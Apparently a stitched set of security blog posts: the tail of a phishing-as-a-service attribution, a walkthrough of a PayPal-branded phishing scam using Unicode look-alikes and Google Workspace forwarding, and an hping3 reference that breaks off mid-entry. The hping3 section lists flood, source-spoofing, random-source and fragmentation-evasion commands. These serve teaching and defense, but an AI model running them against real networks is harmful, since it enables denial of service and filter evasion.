• Email Services are Different: The SPF records authorize completely separate email services and IP addresses for bulk sending (OVH/WholeSale Internet for the Affiliate versus Mailbaby.net/Contabo GmbH for the Provider).

• Name Servers are Different: The domains rely on distinct network operators for DNS resolution (HOSTING4WEBS.COM versus HPCNOC.COM).

3. Phishing Methodology and Shared Tool

The technical similarities, such as the ssologon subdomain structure, actually cement the PaaS relationship by identifying a common tool:

• PaaS Kit Signature: The use of the identical and standardized subdomain, ssologon.domain.com, across both domains is the signature of the Phishing-as-a-Service kit itself. This shows the Affiliate is using a tool that forces a specific, pre-built redirection and tracking structure dictated by the operator.

• Code Sophistication Divergence: The final landing page code on the Provider’s domain (clctz.org) is a massive, highly sophisticated script featuring WebAssembly (WASM), advanced browser fingerprinting, and multiple layers of anti-analysis defenses. This extreme complexity requires the kind of specialization found in a PaaS Operator, who develops the powerful weapon, while the Affiliate focuses on the simple task of generating traffic.

The overall evidence indicates that the registered individual (eduhealthconnect.com) is a customer/Affiliate who specializes in traffic generation and is paying to use the advanced, anonymous PaaS Platform provided by the operator of clctz.org.

Have you received a phishing email?

Send me a message! I am looking for more samples.

Thanks for reading.

Your heart skips a beat. Your stomach drops. You don’t remember starting any subscriptions, so you click the email. You see you’re being charged $1,499 for a purchase you didn’t make.

You start to panic. You know phishing schemes exist, where scammers spoof legitimate email addresses. But when you check the sender, it’s a verified PayPal.com domain, sent directly from PayPal’s system.

Now you in a panic, you wonder: “Has my account been hacked?” The next step many would take is calling the phone number in the email. On the other end, a “helpful” agent pretends to be PayPal, but they are actually a scammer who will steal your account and funds.

This is exactly the situation one of my readers found themselves in.

Fortunately, instead of dialing the number, they noticed a few odd details and forwarded the email to me.

In this post, I will walk through that email step by step, highlight the red flags that show it is a phishing attempt, and explain how the scammer pulled off a scheme that appears to come directly from PayPal itself.

The Phishing Email

Any time you receive a suspicious email, the first step is to inspect the email header. On most email providers, you can do this by clicking the arrow next to the sender’s name and selecting “View Full Header” or “Show Original.”

Scammers often spoof the sender’s address. When this happens, the email usually ends up in the spam folder because the domain is not properly verified. Sometimes scammers register domains that look very similar to legitimate ones, such as rnicrosoft.com instead of microsoft.com.

In this case, however, the sender domain is a real, verified PayPal domain, indicated by the blue checkmark next to the sender in Gmail. This means the email was actually sent from PayPal’s system, which makes it much more convincing and harder to detect as a scam.

Red Flag #1: Email Sent to the Wrong Address

The first red flag is that the email was sent to receipt10@aldiscover.feedback, an address that does not belong to the person who received it. This is a technical trick used by the scammers to forward emails without the recipient realizing it, which I will explain later in the article.

Red Flag #2: Form Field Mismatch

Scammers can manipulate PayPal’s merchant forms to insert fraudulent information in fields where it doesn’t belong. In this case, they used the Customer Service URL field to include a scam phone number and misleading instructions, taking advantage of the system’s weak validation.

In the Customer Service URL field, the scammer included a valid URL to pass PayPal’s form validation, which requires a proper URL in the field.

However, the system does not check for extra text appended after the URL, and this is where the scammer inserted their malicious message.

They also used tricks to bypass PayPal’s filters, which normally block words like “PayPal” and “Support”, as well as dollar amounts and phone numbers.

The text looks like this:

Payment of $ 𝟭𝟰𝟵𝟵.𝟰𝟵 has been successfully processed.For cancel⠀and⠀Refund, Contact 𝐏ayPal 𝗦upport at (𝟴𝟬𝟱) 𝟱𝟬𝟬-𝟲𝟯𝟳𝟳

To a human reader, it looks normal, but the scammer replaced several characters with look-alike characters that are treated differently by filters and security systems.

Dollar amount:

The digits in the amount were replaced with stylized Unicode digits.

• 1 became 𝟭

• 4 became 𝟰

• 9 became 𝟵

Words:

In “PayPal Support,” only the first letters were replaced:

• P became 𝐏

• S became 𝗦

Phone number:

Every digit in the phone number was replaced with the same stylized Unicode digits:

• 8 -> 𝟴

• 0 -> 𝟬

• 5 -> 𝟱

• 6 -> 𝟲

• 3 -> 𝟯

• 7 -> 𝟳

Spaces:

In the phrase “cancel⠀and⠀Refund”, the normal spaces are replaced with Unicode Braille blank, which looks identical to a space:

space → ⠀ (U+2800 “Braille Pattern Blank”)

The Forwarding Trick

This phishing campaign used a clever technique that forwarded the scam email to the victim while being sent from a verified PayPal.com domain.

The attacker first sent the phishing message to an address at a domain they controlled. That domain was configured to automatically forward all incoming email to the victim. I checked the domain’s MX (Mail Exchanger) record using dig:

dig mx aldiscover.feedback

The response shows:

aldiscover.feedback. 1799 IN MX 1 smtp.google.com.

This response shows that Google handles the email for the domain. We can identify it as a Google Workspace email because it uses a custom domain while routing through Google’s servers.

According to Google Workspace documentation, emails sent to a domain can be forwarded without verifying ownership.

The original sender is preserved in the email header using the “Add X-Gm-Original-To” setting, which keeps the original recipient information in the message header and makes the forwarded email appear as if it was sent directly from the original sender.

The documentation states:

"Messages you redirect or forward appear to come directly from the original sender. The To: address in redirected messages includes the original recipient address only.  

Add X-Gm-Original-To header: Check this box to keep the original recipient information in the message header. You might want to do this if you manage any email based on message headers. Message header information can also be useful for troubleshooting email delivery."

The attacker likely uploaded a list of emails using the bulk import feature, which allows one forwarding address to map to up to 5,000 recipients at a time.

This is also likely why the forwarding address includes a number (for example, receipt10@aldiscover.feedback), since the attacker could create multiple forwarding inboxes and assign 5,000 target addresses to each.

As the documentation explains:

"You can more easily map a large number of address by entering them as comma-delimited entries, such as from spreadsheet. The maximum number of recipient addresses for all address maps is 5,000. For example, you can add 1 address map with 5,000 recipient addresses, 50 address maps with 100 recipients each, or 1,000 address maps with 5 recipients each."

The attacker may have created many such forwarding addresses, such as:

receipt1@aldiscover.feedback 
receipt2@aldiscover.feedback 
receipt3@aldiscover.feedback
etc…

Domain Analysis:

With modern web infrastructure, obtaining meaningful information from domain analysis can be challenging. Many registrars provide free privacy protection by default, which makes it difficult to identify the domain’s registrant.

Despite this limitation, it is still valuable to review basic domain registration information. WHOIS records provide publicly available details about a domain. These can include:

• The registrar

• Registration and expiration dates

• Name servers

• Sometimes the owner’s contact information

WHOIS records can be checked using the command:

whois aldiscover.feedback 

The results show:

• Registrar: NameCheap. A common registrar, used by both legitimate and malicious actors.

• Registration Date: 2025-11-24. Extremely new; new domains are often used in phishing or scam campaigns.

• Expiry Date: 2026-11-24. Only a 1-year registration, typical of temporary/malicious domains.

• Owner Information: Redacted. Privacy protection is enabled, hiding registrant details.

• DNS: Default NameCheap servers.

Checking for a website:

To see if the domain is used solely for email, I checked its DNS A record, which would indicate a web server if one existed. Using the command:

dig A aldiscover.feedback

The results show:

; <<>> DiG 9.20.15-2-Debian <<>> A aldiscover.feedback
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10430
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; AUTHORITY SECTION:
aldiscover.feedback.    3600    IN      SOA     dns1.registrar-servers.com. hostmaster.registrar-servers.com. 1764166261 43200 3600 604800 3601

The output shows that there is no A record, meaning the domain does not resolve to any IP address and therefore does not point to a web server.

The only record returned is an SOA (Start of Authority) record, which identifies the primary nameserver for the domain. This indicates that the domain exists solely for email purposes, consistent with a phishing-only setup.

Recommendations

This attack exploited two critical vulnerabilities: (1) Google Workspace allows email forwarding to arbitrary addresses without recipient consent, and (2) PayPal merchant forms accept invalid/misleading data in URL and contact fields.

The remediation for this issue falls into the hands of both users and the companies that host this infrastructure.

Recommendations for Users:

To protect themselves from phishing scams, users should follow these precautions:

1. Be cautious of urgent or alarming messages: Avoid clicking links or calling numbers in emails that try to provoke panic.

2. Verify the sender and email address: Check headers or sender details to confirm the email is legitimate. Do not trust headers alone, as this case demonstrates, even valid domains can be a threat.

3. Use official channels: Contact companies directly through verified websites or apps rather than responding to email instructions. If you type the company’s address in your browser, be careful to type it accurately. If you use a search engine like Google to find their website, avoid clicking on “sponsored” results, as these can often lead to scams.

4. Report phishing attempts: Use the “Report Phishing” feature in your email provider to help block future scams. (See instructions: Gmail, Outlook)

5. Stay informed: Learn about common phishing tactics, including Unicode obfuscation, unusual forwarding, and look‑alike domains.

Users should be wary of all communications in their email inbox, especially those designed to illicit a panicked response. If you do receive an email that concerns you, do not click any links.

Recommendations for PayPal:

To help prevent scams like this phishing campaign, PayPal should:

1. Block non-standard characters in form inputs: Prevent look‑alike Unicode letters, digits, or invisible characters that can bypass filters.

2. Tighten word restrictions: Restrict which words can appear in merchant forms to prevent scammers from inserting misleading text like “PayPal” or “Support.”

3. Enforce strict field validation: Ensure every form field only accepts the type of data it is intended for, so URLs only accept valid URLs, email fields only accept properly formatted emails, numeric fields only accept numbers, and so on.

4. Limit lengths and formats for all fields: Apply reasonable maximum lengths and allowable characters to names, usernames, and other text fields to prevent abuse.

5. Monitor for suspicious entries: Flag forms with unusual formatting, non-standard characters, or suspicious combinations of data for review before activation.

Recommendation for Google:

To reduce the risk of email forwarding abuse in phishing attacks, Google should:

1. Verify ownership of forwarding addresses: Require confirmation that the recipient controls the destination address before allowing email forwarding.

2. Limit bulk forwarding capabilities: Impose stricter limits on the number of addresses a single forwarding rule can target.

3. Detect non-standard Unicode characters: Flag or block forwarding rules that use look‑alike letters, digits, or symbols to bypass filters.

4. Identify invisible or special-space characters: Prevent forwarding rules that include Braille blanks or other invisible characters.

5. Enhance monitoring and alerts: Trigger alerts for unusual forwarding patterns, such as multiple recipients across many different domains or emails coming from newly registered or suspicious domains, which are often indicators of phishing campaigns.

Phishing attacks hit a new record in 2025, with nearly 2 million unique phishing sites detected in a single year (the highest ever recorded) and overall cybercrime surging 60% year over year. The threat is still growing fast.

Stay safe out there!

Key capabilities for ethical hackers include:

• Craft Custom Packets: Build TCP, UDP, ICMP, and raw IP packets with full control over headers, flags, timing, and payload.

• Probe Hosts and Ports: Manually discover hosts and scan ports when automated tools are blocked or too noisy.

• Test Firewalls and IDS/IPS: Send specific or unusual traffic to check how security devices respond.

• Traffic and DoS Simulation: Generate high-rate or abnormal traffic to test DDoS defenses and system resilience.

Hping3 in Your Workflow:

Hping3 fits into penetration tests after you finish broad discovery with a network‑mapping tool like Nmap.

Once Nmap identifies hosts, ports, and services, Hping3 can probe those targets with custom traffic and test edge cases that scanners can’t handle.

Common uses include:

• A firewall is blocking automated scans because it detects Nmap’s signatures, so raw, custom packets are more likely to pass.

• Specific hosts or services have been identified, and you need precise, controlled packets to test how they respond under certain conditions.

• You need to verify firewall rules, analyze packet handling, or send traffic patterns that automated tools can’t generate.

Hping3 complements network scanning tools by providing manual, packet-level control for precise and targeted testing. It does not perform automated scanning, but rather sends the packets you craft while reporting the responses.

Think of it like a scalpel for network testing: precise, controlled, and fully in your hands: letting you probe, manipulate, and analyze traffic in targeted ways that automated scanning tools can’t.

The History of Hping3

Hping was created by Salvatore Sanfilippo (”Antirez”) in the late 1990s.

The original utility focused on TCP packet crafting for tasks like firewall testing and network probing. Sanfilippo developed Hping3 starting in 2004 as a major evolution. The redesign was driven by the need to:

• Expand Protocol Support: Incorporate functionality for protocols beyond TCP, including ICMP, UDP, and RAW-IP modes.

• Enable Scripting: Add capabilities for automated, scripted network testing, significantly increasing the tool’s versatility for security auditing.

Early versions were used for experimenting with advanced features like network scanning and system fingerprinting.

The stable version of Hping3 was officially released on November 5, 2005, and published under the GPLv2 license. Salvatore Sanfilippo is also the creator of the popular open-source project, Redis.

⚠︎ Disclaimer: Legal Use Only

Using Hping3 without proper authorization may be illegal and violate computer crime laws in your jurisdiction. Sending packets can disrupt services, cause outages, exhaust system resources, or result in data loss.

Always obtain written permission and clearly understand the scope, authorized targets, and permitted methods before testing any network or system.

The writer of this guide assumes no liability for any misuse, illegal activity, or damage resulting from the information provided.

Pre-Requisites

This guide assumes you’re already familiar with networking fundamentals and penetration testing basics. If you’re reading this, you should already know:

What You Need to Know

• Networking basics: IP addressing, CIDR notation, TCP vs UDP, common ports, and how firewalls work.

• Basic packet knowledge: Understanding packet structure and headers.

• Command line: You can navigate terminals and run commands with sudo/admin privileges on your OS of choice.

How to Install Hping3:

Hping3 is primarily designed for Linux and is included in most Linux distributions like Kali, Debian, and Ubuntu.

• Linux: Fully supported, can be installed via package managers (apt install hping3) or compiled from source.

• Windows: Older versions of hping (like hping2) exist, but support is limited and development is mostly inactive. Hping3 does not have an official, fully functional Windows version.

• macOS: Can be installed via Homebrew (brew install hping) but may require additional permissions or compilation tweaks.

Linux (Recommended)

Hping3 is fully supported on Linux and comes pre‑installed on distros like Kali and Parrot. You can update or install it with:

sudo apt update && sudo apt install hping3

Windows

Hping3 does not have a native, fully supported Windows version.

The recommended way to use it on Windows is through WSL (Windows Subsystem for Linux), which gives you full Linux functionality.

macOS

Hping3 can be installed on macOS using Homebrew:

brew install hping

Virtual Machines

You can also set up a virtual machine using a hypervisor such as VirtualBox, UTM, or Parallels (for Mac) and run a Linux distribution inside it.

This can be a preferable option if you don’t have access to a native Linux machine, providing full Linux functionality for using hping3.

Basic Command Structure

Hping3 uses a flexible, modular command format that lets you build simple or highly customized packets depending on your testing needs.

Command Syntax

The basic syntax defines how every hping3 command is structured. Hping3 commands are made up of three parts:

1. Mode: Specifies the protocol or operational mode hping3 should use.

2. Options: Modify packet behavior, headers, timing, and output.

3. Target: Defines the host or IP address you’re sending packets to.

hping3 [mode] [options] target

Learning Tip: Hping3 + Wireshark

When you’re learning Hping3, it can be helpful to run commands on Nmap and watch how they translate to network traffic in Wireshark.

This lets you see exactly what packets Hping3 sends and how targets respond, making it easier to understand what each scan type and option actually does at the network level. Use Wireshark filters to view specific traffic:

# Wireshark Filter Cheat Sheet

# Show packets coming from a specific IP
ip.src == <receiver host ip>

# Show packets going to a specific IP
ip.dst == <sender host ip>

# Show all packets to or from a specific IP
ip.addr == <host ip>

# Combine filters with && for more specific traffic
ip.src == <source ip> && ip.dst == <destination ip>

# Filter by protocol
tcp
udp
icmp
arp

# Filter by port number
tcp.port == 80
udp.port == 53

# Combine protocol and IP filters
tcp && ip.addr == <host ip>

Mode

Modes define what kind of packets hping3 sends and the overall behavior of the tool. Choose a mode based on the protocol or action you want to test.

These modes determine the network protocol or special operation hping3 will use when sending packets.

• Default (TCP): Sends TCP packets for basic probing or flag‑based testing.

• -0 / --rawip: Lets you craft arbitrary IP packets when you need full control over protocol values.

• -1 / --icmp: Sends ICMP packets for ping-like tests or diagnostic probing.

• -2 / --udp: Sends UDP packets to test UDP services, firewalls, and filtering.

• -8 / --scan: Performs manual port scanning when Nmap is blocked or filtered.

• -9 / --listen: Listens for packets, useful for debugging or custom replies.

• -T / --traceroute: Maps the hop path to a target using TTL increments.

Default (TCP)

Sends standard TCP packets and is used automatically if no mode flag is given. It allows testing connectivity, flags, and basic TCP behavior. Useful for quick SYN, ACK, or custom flag‑based probing.

hping3 <target> -S -p 80

-0 / --rawip

Crafts raw IP packets, giving full control over protocol fields. This mode is useful when you need to send packets belonging to uncommon or custom protocol numbers. It is mainly used for advanced testing where standard TCP/UDP/ICMP does not apply.

hping3 <target> -0 --ipproto 253

-1 / --icmp

Sends ICMP packets similar to traditional ping. Useful for reachability checks, diagnostics, and network path behavior. Often used when ICMP must be tested specifically instead of TCP or UDP.

hping3 <target> -1

-2 / --udp

Sends UDP packets to test UDP services or filtering behavior. Helpful for checking whether hosts respond with ICMP “port unreachable.” Useful for understanding how firewalls handle UDP traffic.

hping3 <target> -2 -p 12345

-8 / --scan

Performs a manual TCP port scan on a target or range of targets.
This mode is useful when scanners such as Nmap are blocked or filtered.

The option expects a port group argument. Port groups use the following rules:

• A single number scans one port

• A range uses start-end format

• all scans ports 0 through 65535

• known scans all ports listed in /etc/services.
  /etc/services is a system file found on Unix and Linux systems. It acts as a directory of well-known network services and the ports they use.

• Groups may be combined

• Groups may be negated using !

• The port group must appear immediately after the -8 flag

The port group must immediately follow the -8 flag. Most other hping3 options still work inside scan mode.

For example, you must specify -S to perform a SYN scan, and you can still modify TCP window size, TTL, IP fragmentation, and more. The only difference is that normal hping3 behavior is wrapped inside a scanning algorithm.

# Scan port 22 only (single port)
hping3 <target> -8 22

# Scan ports 1 through 1000 (range)
hping3 <target> -8 1-1000

# Scan all ports 0 through 65535 (all)
hping3 <target> -8 all

# Scan all ports defined in /etc/services (known)
hping3 <target> -8 known

# Scan ports 1 through 1000 plus port 8888 plus all known ports
hping3 <target> --scan 1-1000,8888,known -S target.host.com

# Scan all ports from 1 through 1024 except those listed in /etc/services
hping3 <target> --scan ‘1-1024,!known’ -S target.host.com

-9 / --listen

Listens for packets that contain a specific signature string. Useful for debugging, custom signaling, or simple packet-trigger experiments. The tool waits passively until matching traffic arrives.

hping3 -9 MYTAG

-T / --traceroute

Performs traceroute using TCP packets instead of ICMP. It increments TTL values to map network hops to the destination. Useful for bypassing filters that block regular traceroute probes.

hping3 <target> -T -p 80

Options

Options modify packet headers, timing, or output for the selected mode and target. Some options work universally, others only in specific modes. Some options have both short and long forms.

In the following ”Core Functions for Ethical Hackers” section, we’ll go over how to combine these options for specific use cases.

Help & Version

# Command: -h or --help

Displays the complete usage guide with all available options and syntax for quick reference during testing without opening the manual page.

# Example(s)
hping3 -h
hping3 --help

# Command: -v or --version
Shows the current hping3 version number and data link layer type (Ethernet, PPP, etc.) for verifying compatibility and documenting tool versions in reports.

# Example(s)
hping3 -v
hping3 --version

Packet Sending Rate & Control

# Command: -c [count] or --count [count]

Sends exactly the specified number of packets then stops and displays summary statistics. Use for controlled scanning with precise packet counts, benchmarking firewall rules, measuring response rates, or limiting traffic to avoid detection.

# Example(s)
hping3 -c 10 192.168.1.1
hping3 --count 10 192.168.1.1

# Command: -i [interval] or --interval [interval]

Sets the time delay between consecutive packets. Accepts X for seconds, uX for microseconds (u500 = 500µs), or mX for milliseconds. Spaces out packets to evade rate-based intrusion detection systems and simulate realistic traffic patterns during reconnaissance.

# Example(s)
hping3 -i u500 192.168.1.1
hping3 -i 2 192.168.1.1
hping3 --interval u1000 192.168.1.1

# Command: --fast

Sends exactly 10 packets per second (100ms intervals). Provides moderate speed for SYN scans without triggering rate limiting or flood detection mechanisms.

# Example(s)
hping3 --fast 192.168.1.1

# Command: --faster

Increases speed to approximately 100 packets per second (~1ms intervals). Use for time-sensitive operations like latency measurements or rapid service enumeration where speed matters but full flooding would be counterproductive.

# Example(s)
hping3 --faster 192.168.1.1

# Command: --flood

Transmits packets at maximum speed without waiting for replies or adding delays. Sends as fast as the network interface and system can process. Use for stress testing network devices, measuring maximum throughput, or authorized denial-of-service simulations in controlled environments.

# Example(s)
hping3 --flood 192.168.1.1

Interface & Output Control

# Command: -I [interface name] or --interface [interface name]

Forces packet transmission through a specific network interface (eth0, wlan0, tun0). Critical for multi-homed systems to direct traffic through a particular path like VPN tunnels, specific network segments during internal assessments, or isolating test traffic from production.

# Example(s)
hping3 -I eth0 192.168.1.1
hping3 --interface wlan0 192.168.1.1

# Command: -n or --numeric

Disables reverse DNS lookups and displays all IP addresses numerically. Speeds up large network scans by eliminating DNS resolution overhead, prevents information leakage through DNS queries, and avoids timeout delays when scanning hosts without reverse DNS entries.

# Example(s)
hping3 -n 192.168.1.1
hping3 --numeric 192.168.1.1

# Command: -q or --quiet

Suppresses per-packet output and displays only initial parameters and final summary statistics. Keeps log files clean in automated scripts, reduces console clutter during long-running tests, and focuses on aggregate results.

# Example(s)
hping3 -q 192.168.1.1
hping3 --quiet 192.168.1.1

# Command: -V or --verbose

Shows comprehensive packet-level information including headers, flags, and timing for every packet sent and received. Use for deep packet inspection, analyzing protocol behavior, debugging unexpected responses, and developing packet-level exploits or evasion techniques.

# Example(s)
hping3 -V 192.168.1.1
hping3 --verbose 192.168.1.1

# Command: -D or --debug

Activates debug mode showing internal program state, function calls, and detailed error messages. Use for troubleshooting unexpected behavior, diagnosing custom packet configuration issues, or understanding why raw packet scenarios fail at the OS level.

# Example(s)
hping3 -D 192.168.1.1
hping3 --debug 192.168.1.1

# Command: -z or --bind

Binds CTRL+Z to dynamically adjust TTL values during execution. Allows interactive hop-by-hop traceroute adjustments in real-time without restarting the command or losing session state.

# Example(s)
hping3 -z 192.168.1.1
hping3 --bind 192.168.1.1

# Command: -Z or --unbind

Releases CTRL+Z binding and restores standard Unix signal behavior where CTRL+Z suspends the process. Use after interactive TTL sessions to return to normal terminal control.

# Example(s)
hping3 -Z 192.168.1.1
hping3 --unbind 192.168.1.1

# Command: --beep

Produces an audible beep for each received reply packet. Helpful for passive monitoring when you need audio alerts for arriving responses, particularly during long-running scans or when multitasking.

# Example(s)
hping3 --beep 192.168.1.1

Source & Destination Address Control

# Command: -a [hostname] or --spoof [hostname]

Forges the source IP address in outgoing packets to appear as if they originated from the specified host. Use for testing anti-spoofing mechanisms, assessing ingress filtering effectiveness, conducting backscatter analysis by triggering responses to spoofed addresses, or testing firewall rules that trust certain source IPs.

# Example(s)
hping3 -a 10.0.0.5 192.168.1.1
hping3 --spoof 10.0.0.5 192.168.1.1

# Command: --rand-source

Generates a random source IP address for each packet, creating the appearance of distributed traffic from multiple origins. Use for simulating distributed denial-of-service scenarios in authorized tests, evading source-based blocking rules or rate limits, and making traffic correlation difficult for security devices.

# Example(s)
hping3 --rand-source 192.168.1.1

# Command: --rand-dest

Randomizes destination IP addresses according to specified rules, distributing packets across multiple targets. Use for broad network mapping without sequential predictability, fuzzing multiple endpoints simultaneously, or simulating scattered attack patterns to test network-wide detection.

# Example(s)
hping3 --rand-dest 192.168.1.x

IP Header Options

# Command: -t [ttl] or --ttl [ttl]

Sets the IP Time To Live field (0-255), determining maximum router hops before packet discard. Each router decreases TTL by 1; packet drops when reaching 0. Use for traceroute operations, path MTU discovery, fingerprinting intermediate devices based on TTL behavior, and crafting packets that expire at specific network boundaries.

# Example(s)
hping3 -t 5 192.168.1.1
hping3 --ttl 64 192.168.1.1

# Command: -N [id] or --id [id]

Manually overrides the IP identification field with a specific value instead of automatic OS assignment. The IP ID identifies fragments of the same packet. Use for replay attacks with predictable ID values, evading security devices that correlate packets by ID sequence patterns, or testing whether IDS systems track IP fragmentation through ID matching.

# Example(s)
hping3 -N 12345 192.168.1.1
hping3 --id 12345 192.168.1.1

# Command: -H [protocol] or --ipproto [protocol]

Sets the IP protocol number in the IP header for RAW IP mode. Standard protocols use 6 for TCP, 17 for UDP, 1 for ICMP. Use for crafting packets with non-standard or uncommon protocols to test protocol-aware filters, assess firewall protocol handling, or probe for vulnerabilities in custom protocol parsers.

# Example(s)
hping3 -H 47 192.168.1.1
hping3 --ipproto 6 192.168.1.1

# Command: -W or --winid

Uses Windows-style byte ordering for the IP ID field (little-endian) instead of standard network byte order (big-endian). Aids OS fingerprinting evasion by making Linux-generated packets appear as Windows traffic, helping blend into predominantly Windows network environments.

# Example(s)
hping3 -W 192.168.1.1
hping3 --winid 192.168.1.1

# Command: -r or --rel

Displays IP ID field values as relative increments from the previous packet instead of absolute values. Use for detecting Network Address Translation (NAT) devices, identifying load balancers through ID sequence discontinuities, or fingerprinting how different systems increment IP ID counters during reconnaissance.

# Example(s)
hping3 -r 192.168.1.1
hping3 --rel 192.168.1.1

# Command: -o [hex_tos] or --tos [hex_tos]

Sets the IP Type of Service (ToS) or Differentiated Services (DiffServ) field using hexadecimal values. Use for testing Quality of Service policy enforcement, validating priority-based routing behavior, or verifying whether traffic classification and marking rules are correctly applied.

# Example(s)
hping3 -o 0x10 192.168.1.1
hping3 --tos 0x10 192.168.1.1

# Command: -G or --rroute

Enables the IP record route option, instructing routers to insert their IP addresses into the packet header. Captures and displays the actual route taken, revealing internal network topology in environments where routers honor this option (increasingly rare due to security concerns and performance overhead).

# Example(s)
hping3 -G 192.168.1.1
hping3 --rroute 192.168.1.1

Fragmentation Options

# Command: -f or --frag

Forces packet fragmentation, splitting data across multiple IP fragments. Use for testing fragmentation handling in firewalls or IDS, probing for fragment reassembly vulnerabilities, or evading signature-based detection that only inspects individual fragments without reassembling streams.

# Example(s)
hping3 -f 192.168.1.1
hping3 --frag 192.168.1.1

# Command: -x or --morefrag

Sets the “more fragments” (MF) flag in the IP header, indicating additional fragments follow. Use for testing how security devices handle incomplete fragment streams, probing drop policies for fragments that never complete, or crafting malformed fragmentation sequences to test parser robustness.

# Example(s)
hping3 -x 192.168.1.1
hping3 --morefrag 192.168.1.1

# Command: -y or --dontfrag

Sets the “don’t fragment” (DF) bit in the IP header, instructing routers never to fragment the packet. If the packet exceeds link MTU, routers drop it and send back an ICMP message. Use for Path MTU Discovery (PMTUD) to find maximum packet size, identifying MTU black holes where oversized packets are silently dropped, or forcing specific packet sizes for exploit delivery.

# Example(s)
hping3 -y 192.168.1.1
hping3 --dontfrag 192.168.1.1

# Command: -g [offset] or --fragoff [offset]

Manually sets the fragment offset field, indicating where in the original packet this fragment belongs (measured in 8-byte blocks). Use for crafting overlapping fragments, out-of-order fragments, or malformed fragmentation patterns to bypass weak reassembly logic or test fragment handling edge cases.

# Example(s)
hping3 -g 100 192.168.1.1
hping3 --fragoff 100 192.168.1.1

# Command: -m [mtu] or --mtu [mtu]

Enforces a virtual Maximum Transmission Unit controlling fragment sizing. Makes hping3 fragment packets as if sent over a link with the specified MTU. Use for simulating small-MTU links for evasion testing or validating how applications and security devices handle various fragment sizes.

# Example(s)
hping3 -m 500 192.168.1.1
hping3 --mtu 1280 192.168.1.1

ICMP-Specific Options

# Command: -C [type] or --icmptype [type]

Selects ICMP message type (0-255). Type 8 is echo request (standard ping), type 0 is echo reply, type 3 is destination unreachable, type 11 is time exceeded (traceroute). Use for custom ping sweeps, crafting specific ICMP messages to test firewall rules, or probing target responses to various ICMP types during reconnaissance.

# Example(s)
hping3 -C 8 192.168.1.1
hping3 --icmptype 13 192.168.1.1

# Command: -K [code] or --icmpcode [code]

Sets the ICMP code field providing additional detail for the selected type. Type 3 (destination unreachable) has code 0 for network unreachable, code 1 for host unreachable, code 3 for port unreachable. Use for precise ICMP message crafting to test granular firewall rules or simulate specific network error conditions.

# Example(s)
hping3 -C 3 -K 3 192.168.1.1
hping3 --icmptype 3 --icmpcode 1 192.168.1.1

# Command: --icmp-ipver [version]

Sets the IP version in the ICMP-embedded IP header. Use for manipulating the IP header embedded inside ICMP error messages to test how devices parse embedded headers or simulate error messages for protocols that don’t match the outer packet.

# Example(s)
hping3 --icmp-ipver 4 192.168.1.1

# Command: --icmp-iphlen [length]

Sets the IP header length in the ICMP-embedded header. Use for manipulating the IP header embedded inside ICMP error messages to test parser handling or conduct ICMP tunneling experiments.

# Example(s)
hping3 --icmp-iphlen 20 192.168.1.1

# Command: --icmp-iplen [length]

Sets the total IP packet length in the ICMP-embedded header. Use for manipulating the IP header embedded inside ICMP error messages to test how devices handle malformed embedded headers.

# Example(s)
hping3 --icmp-iplen 100 192.168.1.1

# Command: --icmp-ipid [id]

Sets the IP ID in the ICMP-embedded IP header. Use for manipulating the IP header embedded inside ICMP error messages or conducting ICMP tunneling experiments.

# Example(s)
hping3 --icmp-ipid 5000 192.168.1.1

# Command: --icmp-ipproto [protocol]

Sets the protocol field in the ICMP-embedded IP header. Use for simulating error messages for specific protocols or testing how devices parse embedded protocol fields.

# Example(s)
hping3 --icmp-ipproto 6 192.168.1.1

# Command: --icmp-cksum [checksum]

Forces a specific ICMP checksum value, including intentionally incorrect checksums. Use for testing whether targets validate ICMP checksums before processing, probing for vulnerabilities where hardware checksum offload bypasses validation, or identifying devices that accept malformed ICMP packets.

# Example(s)
hping3 --icmp-cksum 0xFFFF 192.168.1.1

# Command: --icmp-ts

Sends an ICMP timestamp request (type 13), asking the target to reply with its current system time. Use for gathering remote clock information to calculate clock skew for OS fingerprinting, detecting virtualized environments through timing anomalies, or exploiting timing side-channels in cryptographic implementations.

# Example(s)
hping3 --icmp-ts 192.168.1.1

# Command: --icmp-addr

Sends an ICMP address mask request (type 17), historically used to query a host’s subnet mask. Modern systems rarely respond. Use for mapping legacy network configurations, identifying old systems that honor deprecated ICMP types, or discovering older infrastructure during reconnaissance.

# Example(s)
hping3 --icmp-addr 192.168.1.1

TCP/UDP Port Options

# Command: -s [port] or --baseport [port]

Sets or fixes the source port number for outgoing packets. Use for maintaining consistent source ports across packets to preserve stateful firewall sessions, spoofing trusted source ports (53 for DNS, 20 for FTP-DATA) to bypass poorly configured access controls, or setting a specific starting port for sequential scanning.

# Example(s)
hping3 -s 53 192.168.1.1
hping3 --baseport 8080 192.168.1.1

# Command: -p[+][+] [port]

Sets destination port with optional auto-increment. -p 80 targets port 80 only, -p+ 80 increments per packet (80, 81, 82...), -p++ 80 increments per cycle. Use for automating sequential port scanning across ranges, testing versioned services on consecutive ports, or efficiently checking service availability across port spaces.

# Example(s)
hping3 -p 80 192.168.1.1
hping3 -p+ 80 192.168.1.1
hping3 -p++ 8000 192.168.1.1

# Command: --keep

Locks the source port to a constant value instead of incrementing or changing. Use for stateful firewall testing where maintaining the same source address-port tuple is required for return traffic, or testing whether security devices properly track connection state based on consistent port pairs.

# Example(s)
hping3 --keep 192.168.1.1

TCP Header Options

# Command: -w [size] or --win [size]

Sets the TCP window size field advertising receive buffer capacity. Use for probing window scaling implementation issues, triggering specific receiver behaviors based on window advertisements, testing how applications handle zero-window or unusually large/small window values, or fingerprinting TCP stack implementations.

# Example(s)
hping3 -w 65535 192.168.1.1
hping3 --win 0 192.168.1.1

# Command: -O [offset] or --tcpoff [offset]

Sets the TCP data offset (header length), including values that don’t match actual header size. Use for crafting malformed TCP headers to test parser robustness, probing whether security devices validate header length fields, or attempting to bypass inspection by claiming headers extend beyond actual boundaries.

# Example(s)
hping3 -O 10 192.168.1.1
hping3 --tcpoff 15 192.168.1.1

# Command: -M [number] or --setseq [number]

Sets the TCP sequence number to a specific value instead of random or automatic values. Use for TCP session hijacking simulations by predicting or replaying sequence numbers, conducting replay attacks using captured sequence values, or testing whether applications validate sequence number progression.

# Example(s)
hping3 -M 1000000 192.168.1.1
hping3 --setseq 500000 192.168.1.1

# Command: -L [number] or --setack [number]

